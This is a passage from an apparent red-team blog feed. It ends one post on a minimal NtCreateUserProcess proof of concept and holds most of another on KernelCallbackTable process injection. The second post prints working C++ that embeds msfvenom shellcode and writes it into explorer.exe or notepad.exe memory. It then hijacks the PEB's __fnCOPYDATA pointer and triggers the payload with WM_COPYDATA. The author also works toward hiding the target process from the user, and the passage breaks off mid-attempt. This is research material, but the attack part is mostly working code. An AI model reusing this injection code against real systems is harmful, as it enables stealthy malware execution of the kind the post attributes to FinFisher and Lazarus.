<p>After all the headaches and struggles, here’s the “minimal” working PoC that I came up with:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">"ntdll.h"</span><span class="cp">
#pragma comment(lib, "ntdll")
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
	<span class="c1">// Path to the image file from which the process will be created</span>
	<span class="n">UNICODE_STRING</span> <span class="n">NtImagePath</span><span class="p">;</span>
	<span class="n">RtlInitUnicodeString</span><span class="p">(</span><span class="o">&amp;</span><span class="n">NtImagePath</span><span class="p">,</span> <span class="p">(</span><span class="n">PWSTR</span><span class="p">)</span><span class="s">L"</span><span class="se">\\</span><span class="s">??</span><span class="se">\\</span><span class="s">C:</span><span class="se">\\</span><span class="s">Windows</span><span class="se">\\</span><span class="s">System32</span><span class="se">\\</span><span class="s">calc.exe"</span><span class="p">);</span>

	<span class="c1">// Create the process parameters</span>
	<span class="n">PRTL_USER_PROCESS_PARAMETERS</span> <span class="n">ProcessParameters</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">RtlCreateProcessParametersEx</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ProcessParameters</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">NtImagePath</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">RTL_USER_PROCESS_PARAMETERS_NORMALIZED</span><span class="p">);</span>

	<span class="c1">// Initialize the PS_CREATE_INFO structure</span>
	<span class="n">PS_CREATE_INFO</span> <span class="n">CreateInfo</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
	<span class="n">CreateInfo</span><span class="p">.</span><span class="n">Size</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">CreateInfo</span><span class="p">);</span>
	<span class="n">CreateInfo</span><span class="p">.</span><span class="n">State</span> <span class="o">=</span> <span class="n">PsCreateInitialState</span><span class="p">;</span>

	<span class="c1">// Initialize the PS_ATTRIBUTE_LIST structure</span>
	<span class="n">PPS_ATTRIBUTE_LIST</span> <span class="n">AttributeList</span> <span class="o">=</span> <span class="p">(</span><span class="n">PS_ATTRIBUTE_LIST</span><span class="o">*</span><span class="p">)</span><span class="n">RtlAllocateHeap</span><span class="p">(</span><span class="n">RtlProcessHeap</span><span class="p">(),</span> <span class="n">HEAP_ZERO_MEMORY</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">PS_ATTRIBUTE</span><span class="p">));</span>
	<span class="n">AttributeList</span><span class="o">-&gt;</span><span class="n">TotalLength</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">PS_ATTRIBUTE_LIST</span><span class="p">)</span> <span class="o">-</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">PS_ATTRIBUTE</span><span class="p">);</span>
	<span class="n">AttributeList</span><span class="o">-&gt;</span><span class="n">Attributes</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">Attribute</span> <span class="o">=</span> <span class="n">PS_ATTRIBUTE_IMAGE_NAME</span><span class="p">;</span>
	<span class="n">AttributeList</span><span class="o">-&gt;</span><span class="n">Attributes</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">Size</span> <span class="o">=</span> <span class="n">NtImagePath</span><span class="p">.</span><span class="n">Length</span><span class="p">;</span>
	<span class="n">AttributeList</span><span class="o">-&gt;</span><span class="n">Attributes</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">Value</span> <span class="o">=</span> <span class="p">(</span><span class="n">ULONG_PTR</span><span class="p">)</span><span class="n">NtImagePath</span><span class="p">.</span><span class="n">Buffer</span><span class="p">;</span>

	<span class="c1">// Create the process</span>
	<span class="n">HANDLE</span> <span class="n">hProcess</span><span class="p">,</span> <span class="n">hThread</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">NtCreateUserProcess</span><span class="p">(</span><span class="o">&amp;</span><span class="n">hProcess</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">hThread</span><span class="p">,</span> <span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="n">THREAD_ALL_ACCESS</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">ProcessParameters</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">CreateInfo</span><span class="p">,</span> <span class="n">AttributeList</span><span class="p">);</span>

	<span class="c1">// Clean up</span>
	<span class="n">RtlFreeHeap</span><span class="p">(</span><span class="n">RtlProcessHeap</span><span class="p">(),</span> <span class="mi">0</span><span class="p">,</span> <span class="n">AttributeList</span><span class="p">);</span>
	<span class="n">RtlDestroyProcessParameters</span><span class="p">(</span><span class="n">ProcessParameters</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>And here’s a demo of launching <code class="language-plaintext highlighter-rouge">C:\Windows\System32\calc.exe</code> using the above code.</p>

<p><a href="/static/img/2022-05-10-ntcreateuserprocess/execution.gif"><img src="/static/img/2022-05-10-ntcreateuserprocess/execution.gif" alt="Execution" /></a></p>

<p>The full project can be found <a href="https://github.com/capt-meelo/NtCreateUserProcess">here</a>.</p>

<h3 id="conclusion">Conclusion</h3>

<p>That’s it for this post! Again, I’m not an expert in Windows Internals so I’m happy to hear some corrections and additional information.</p>

<p>Before I end this, if you want to know the detailed and step-by-step procedure on how a process gets created, I suggest reading the <strong>Flow of CreateProcess</strong> section in <a href="https://www.microsoftpressstore.com/store/windows-internals-part-1-system-architecture-processes-9780735684188">“Windows Internals, Part 1 (7th Edition)”</a>.</p>

<p>A summary of what’s in the book could also be read in this 2-part series:</p>
<ul>
  <li><a href="https://medium.com/@Achilles8284/the-birth-of-a-process-part-1-bfb4fdac070e">The Birth of a Process Part-1</a></li>
  <li><a href="https://medium.com/@Achilles8284/the-birth-of-a-process-part-2-97c6fb9c42a2">The Birth of a Process Part-2</a></li>
</ul>]]></content><author><name>Capt. Meelo</name></author><category term="redteam" /><category term="maldev" /><summary type="html"><![CDATA[Here's my journey on how I developed a 'minimal' PoC to make NtCreateUserProcess work.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://captmeelo.com/static/img/2022-05-10-ntcreateuserprocess/process-flow.png" /><media:content medium="image" url="https://captmeelo.com/static/img/2022-05-10-ntcreateuserprocess/process-flow.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Adventures with KernelCallbackTable Injection</title><link href="https://captmeelo.com/redteam/maldev/2022/04/21/kernelcallbacktable-injection.html" rel="alternate" type="text/html" title="Adventures with KernelCallbackTable Injection" /><published>2022-04-21T00:00:00+00:00</published><updated>2022-04-21T00:00:00+00:00</updated><id>https://captmeelo.com/redteam/maldev/2022/04/21/kernelcallbacktable-injection</id><content type="html" xml:base="https://captmeelo.com/redteam/maldev/2022/04/21/kernelcallbacktable-injection.html"><![CDATA[<p>Lately, I came across with <code class="language-plaintext highlighter-rouge">KernelCallbackTable</code> which could be abused to inject shellcode in a remote process. This method of process injection was used by <a href="https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/">FinFisher/FinSpy</a> and <a href="https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/">Lazarus</a>.</p>

<p>This post walks through the journey I took and the hurdles I encountered to make process injection via <code class="language-plaintext highlighter-rouge">KernelCallbackTable</code> work according to what I wanted.</p>

<h2 id="the-problems">The Problems</h2>

<p>When I Googled about this technique, the very first result that I got was none other than the <a href="https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/">post</a> written by <a href="https://twitter.com/modexpblog">modexpblog</a>. So for this experiment, I used the <a href="https://github.com/odzhan/injection/blob/master/kct/kct.c">code</a> he provided as my basis and slightly modified it.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">"struct.h"</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
	<span class="c1">// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c</span>
	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">payload</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00</span><span class="s">"</span><span class="p">;</span>
	<span class="n">SIZE_T</span> <span class="n">payloadSize</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">payload</span><span class="p">);</span>

	<span class="c1">// Find a window for explorer.exe</span>
	<span class="n">HWND</span> <span class="n">hWindow</span> <span class="o">=</span> <span class="n">FindWindow</span><span class="p">(</span><span class="s">L"Shell_TrayWnd"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Window Handle: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">hWindow</span><span class="p">);</span>

	<span class="c1">// Obtain the process pid and open it</span>
	<span class="n">DWORD</span> <span class="n">pid</span><span class="p">;</span>
	<span class="n">GetWindowThreadProcessId</span><span class="p">(</span><span class="n">hWindow</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pid</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Process ID: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">pid</span><span class="p">);</span>

	<span class="n">HANDLE</span> <span class="n">hProcess</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span><span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">pid</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Process Handle: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">hProcess</span><span class="p">);</span>

	<span class="c1">// Read PEB and KernelCallBackTable addresses</span>
	<span class="n">PROCESS_BASIC_INFORMATION</span> <span class="n">pbi</span><span class="p">;</span>
	<span class="n">pNtQueryInformationProcess</span> <span class="n">myNtQueryInformationProcess</span> <span class="o">=</span> <span class="p">(</span><span class="n">pNtQueryInformationProcess</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">GetModuleHandle</span><span class="p">(</span><span class="s">L"ntdll.dll"</span><span class="p">),</span> <span class="s">"NtQueryInformationProcess"</span><span class="p">);</span>
	<span class="n">myNtQueryInformationProcess</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">ProcessBasicInformation</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pbi</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">pbi</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">);</span>

	<span class="n">PEB</span> <span class="n">peb</span><span class="p">;</span>
	<span class="n">ReadProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">pbi</span><span class="p">.</span><span class="n">PebBaseAddress</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">peb</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">peb</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] PEB Address: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">pbi</span><span class="p">.</span><span class="n">PebBaseAddress</span><span class="p">);</span>

	<span class="n">KERNELCALLBACKTABLE</span> <span class="n">kct</span><span class="p">;</span>
	<span class="n">ReadProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">peb</span><span class="p">.</span><span class="n">KernelCallbackTable</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">kct</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">kct</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] KernelCallbackTable Address: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">peb</span><span class="p">.</span><span class="n">KernelCallbackTable</span><span class="p">);</span>

	<span class="c1">// Write the payload to remote process</span>
	<span class="n">LPVOID</span> <span class="n">payloadAddr</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">payloadSize</span><span class="p">,</span> <span class="n">MEM_RESERVE</span> <span class="o">|</span> <span class="n">MEM_COMMIT</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>
	<span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">payloadAddr</span><span class="p">,</span> <span class="n">payload</span><span class="p">,</span> <span class="n">payloadSize</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Payload Address: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">payloadAddr</span><span class="p">);</span>

	<span class="c1">// 4. Write the new table to the remote process</span>
	<span class="n">LPVOID</span> <span class="n">newKCTAddr</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">kct</span><span class="p">),</span> <span class="n">MEM_RESERVE</span> <span class="o">|</span> <span class="n">MEM_COMMIT</span><span class="p">,</span> <span class="n">PAGE_READWRITE</span><span class="p">);</span>
	<span class="n">kct</span><span class="p">.</span><span class="n">__fnCOPYDATA</span> <span class="o">=</span> <span class="p">(</span><span class="n">ULONG_PTR</span><span class="p">)</span><span class="n">payloadAddr</span><span class="p">;</span>
	<span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">newKCTAddr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">kct</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">kct</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] __fnCOPYDATA: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">kct</span><span class="p">.</span><span class="n">__fnCOPYDATA</span><span class="p">);</span>

	<span class="c1">// Update the PEB</span>
	<span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="p">(</span><span class="n">PBYTE</span><span class="p">)</span><span class="n">pbi</span><span class="p">.</span><span class="n">PebBaseAddress</span> <span class="o">+</span> <span class="n">offsetof</span><span class="p">(</span><span class="n">PEB</span><span class="p">,</span> <span class="n">KernelCallbackTable</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">newKCTAddr</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">ULONG_PTR</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Remote process PEB updated</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

	<span class="c1">// Trigger execution of payload</span>
	<span class="n">COPYDATASTRUCT</span> <span class="n">cds</span><span class="p">;</span>
	<span class="n">WCHAR</span> <span class="n">msg</span><span class="p">[]</span> <span class="o">=</span> <span class="s">L"Pwn"</span><span class="p">;</span>
	<span class="n">cds</span><span class="p">.</span><span class="n">dwData</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
	<span class="n">cds</span><span class="p">.</span><span class="n">cbData</span> <span class="o">=</span> <span class="n">lstrlen</span><span class="p">(</span><span class="n">msg</span><span class="p">)</span> <span class="o">*</span> <span class="mi">2</span><span class="p">;</span>
	<span class="n">cds</span><span class="p">.</span><span class="n">lpData</span> <span class="o">=</span> <span class="n">msg</span><span class="p">;</span>
	<span class="n">SendMessage</span><span class="p">(</span><span class="n">hWindow</span><span class="p">,</span> <span class="n">WM_COPYDATA</span><span class="p">,</span> <span class="p">(</span><span class="n">WPARAM</span><span class="p">)</span><span class="n">hWindow</span><span class="p">,</span> <span class="p">(</span><span class="n">LPARAM</span><span class="p">)</span><span class="o">&amp;</span><span class="n">cds</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Payload executed</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

	<span class="c1">// Restore original KernelCallbackTable</span>
	<span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="p">(</span><span class="n">PBYTE</span><span class="p">)</span><span class="n">pbi</span><span class="p">.</span><span class="n">PebBaseAddress</span> <span class="o">+</span> <span class="n">offsetof</span><span class="p">(</span><span class="n">PEB</span><span class="p">,</span> <span class="n">KernelCallbackTable</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">peb</span><span class="p">.</span><span class="n">KernelCallbackTable</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">ULONG_PTR</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Original KernelCallbackTable restored</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

	<span class="c1">// Release memory for code and data</span>
	<span class="n">VirtualFreeEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">payloadAddr</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">MEM_DECOMMIT</span> <span class="o">|</span> <span class="n">MEM_RELEASE</span><span class="p">);</span>
	<span class="n">VirtualFreeEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">newKCTAddr</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">MEM_DECOMMIT</span> <span class="o">|</span> <span class="n">MEM_RELEASE</span><span class="p">);</span>
	
	<span class="c1">// Close handles</span>
	<span class="n">CloseHandle</span><span class="p">(</span><span class="n">hWindow</span><span class="p">);</span>
	<span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Cleaned up</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The above PoC uses <code class="language-plaintext highlighter-rouge">explorer.exe</code> as the target process. This is done using the <code class="language-plaintext highlighter-rouge">FindWindow()</code> function to get a handle to the window class <code class="language-plaintext highlighter-rouge">Shell_TrayWnd</code>, which is associated with <code class="language-plaintext highlighter-rouge">explorer.exe</code>. Execution of the payload begins when the <code class="language-plaintext highlighter-rouge">SendMessage()</code> function is called. This happens since <code class="language-plaintext highlighter-rouge">__fnCOPYDATA</code>, which points to the payload’s address, gets triggered when the <code class="language-plaintext highlighter-rouge">WM_COPYDATA</code> message is sent.</p>

<p>But why <code class="language-plaintext highlighter-rouge">explorer.exe</code> when there are other processes running on the system? That’s because the <code class="language-plaintext highlighter-rouge">KernelCallbackTable</code> that is found within the PEB only gets initialized when <code class="language-plaintext highlighter-rouge">user32.dll</code>, used by GUI processes, is loaded into the process’ memory. This means processes that do not load <code class="language-plaintext highlighter-rouge">user32.dll</code> won’t have the <code class="language-plaintext highlighter-rouge">KernelCallbackTable</code> field in the PEB.</p>

<p>During my experiment, the PoC didn’t work and it keeps on crashing <code class="language-plaintext highlighter-rouge">explorer.exe</code> right after updating the target process’ PEB <em>(by executing the below line of code)</em>. While <code class="language-plaintext highlighter-rouge">explorer.exe</code> auto-restarts after the crash, the obtained window handle is now invalid; resulting in a failed execution of the payload when <code class="language-plaintext highlighter-rouge">SendMessage()</code> is called.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Update the PEB</span>
<span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="p">(</span><span class="n">PBYTE</span><span class="p">)</span><span class="n">pbi</span><span class="p">.</span><span class="n">PebBaseAddress</span> <span class="o">+</span> <span class="n">offsetof</span><span class="p">(</span><span class="n">PEB</span><span class="p">,</span> <span class="n">KernelCallbackTable</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">newKCTAddr</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">ULONG_PTR</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">);</span>
</code></pre></div></div>

<p><a href="/static/img/2022-04-21-kernelcallbacktable-injection/explorer-crashed.gif"><img src="/static/img/2022-04-21-kernelcallbacktable-injection/explorer-crashed.gif" alt="Explorer Crashed" /></a></p>

<p>What if we target other GUI processes? I tried it by getting a handle to the window class <code class="language-plaintext highlighter-rouge">Notepad</code> <em>(using the code below)</em> and have <code class="language-plaintext highlighter-rouge">notepad.exe</code> run before executing the code.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">HWND</span> <span class="n">hWindow</span> <span class="o">=</span> <span class="n">FindWindow</span><span class="p">(</span><span class="s">L"Notepad"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</code></pre></div></div>

<p>And it worked! The payload gets executed <strong>but</strong> the target process still crashed right after the call to <code class="language-plaintext highlighter-rouge">SendMessage()</code>.</p>

<p><a href="/static/img/2022-04-21-kernelcallbacktable-injection/payload-worked-notepad-crashed.gif"><img src="/static/img/2022-04-21-kernelcallbacktable-injection/payload-worked-notepad-crashed.gif" alt="Payload Executed but Target Process Crashed" /></a></p>

<p>The problems I see with this method are:</p>

<ol>
  <li>You have to first enumerate the window classes available on the system. <em>(This is doable with <code class="language-plaintext highlighter-rouge">EnumWindows()</code> function.)</em></li>
  <li>The target process crashes no matter what. <em>(I tried targeting different GUI processes and window classes but they all crashed. Although in some instances, the payload gets executed and in some does not.)</em></li>
  <li>The crash is visible to the user.</li>
</ol>

<h2 id="others-solution">Other’s Solution</h2>

<p><a href="https://twitter.com/ORCA10K">ORCA666</a> found a way to solve this issue by not targeting <code class="language-plaintext highlighter-rouge">explorer.exe</code> and by loading <a href="https://gitlab.com/ORCA666/kcthijack/-/blob/main/KCTHijack/main.c#L175"><code class="language-plaintext highlighter-rouge">user32.dll</code> in memory</a>. However, his approach loads <code class="language-plaintext highlighter-rouge">user32.dll</code> in the current process’ memory and the payload gets executed locally instead of being injected into another process. If you want to have a look at his approach, visit his <a href="https://gitlab.com/ORCA666/kcthijack">KCTHIJACK</a> repo.</p>

<p>His solution is great but this is not what I wanted to do; that is injecting the payload in a remote process.</p>

<h2 id="my-solution">My Solution</h2>

<p>Since crashing the remote process is inevitable, why not spawn a “sacrificial” process that will not be visible to the user? This is the solution that I came up with that goes according to what I wanted to do.</p>

<h3 id="first-attempt-failed">First Attempt: FAILED!</h3>

<p>To achieve my goal, I used <code class="language-plaintext highlighter-rouge">CreateProcess()</code> to spawn an instance of <code class="language-plaintext highlighter-rouge">notepad.exe</code> and set the process creation flag <code class="language-plaintext highlighter-rouge">dwFlags</code> to <code class="language-plaintext highlighter-rouge">CREATE_SUSPENDED</code> to make it “hidden”.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">CreateProcess</span><span class="p">(</span><span class="s">L"C:</span><span class="se">\\</span><span class="s">Windows</span><span class="se">\\</span><span class="s">System32</span><span class="se">\\</span><span class="s">notepad.exe"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">CREATE_SUSPENDED</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">si</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pi</span><span class="p">);</span>
</code></pre></div></div>

<p>Well, that didn’t work because a suspended process does not have any window in it.</p>

<p><a href="/static/img/2022-04-21-kernelcallbacktable-injection/no-window.png"><img src="/static/img/2022-04-21-kernelcallbacktable-injection/no-window.png" alt="Suspened Process has no Window" /></a></p>

<p>No window means no handle to obtain so injection and execution of payload are not possible.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Window</span><span class="w"> </span><span class="nx">Handle:</span><span class="w"> </span><span class="nx">0x0000000000000000</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="kr">Process</span><span class="w"> </span><span class="n">ID:</span><span class="w"> </span><span class="nx">0</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="kr">Process</span><span class="w"> </span><span class="n">Handle:</span><span class="w"> </span><span class="nx">0x0000000000000000</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">PEB</span><span class="w"> </span><span class="nx">Address:</span><span class="w"> </span><span class="nx">0x0000020C2A583CC0</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">KernelCallbackTable</span><span class="w"> </span><span class="nx">Address:</span><span class="w"> </span><span class="nx">0x0000000000000000</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Payload</span><span class="w"> </span><span class="nx">Address:</span><span class="w"> </span><span class="nx">0x0000000000000000</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="err">__</span><span class="n">fnCOPYDATA:</span><span class="w"> </span><span class="nx">0x0000000000000000</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Remote</span><span class="w"> </span><span class="nx">process</span><span class="w"> </span><span class="nx">PEB</span><span class="w"> </span><span class="nx">updated</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Payload</span><span class="w"> </span><span class="nx">executed</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Original</span><span class="w"> </span><span class="nx">KernelCallbackTable</span><span class="w"> </span><span class="nx">restored</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Cleaned</span><span class="w"> </span><span class="nx">up</span><span class="w">
</span></code></pre></div></div>

<h3 id="second-attempt-failed-again">Second Attempt: FAILED! (again)</h3>

<p>Instead of resorting to the <code class="language-plaintext highlighter-rouge">CREATE_SUSPENDED</code> flag to hide the created process, I used the <code class="language-plaintext highlighter-rouge">dwFlags</code> and <code class="language-plaintext highlighter-rouge">wShowWindow</code> members of the <code class="language-plaintext highlighter-rouge">STARTUPINFO</code> structure and set their values to the following:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">si</span><span class="p">.</span><span class="n">dwFlags</span> <span class="o">=</span> <span class="n">STARTF_USESHOWWINDOW</span><span class="p">;</span>
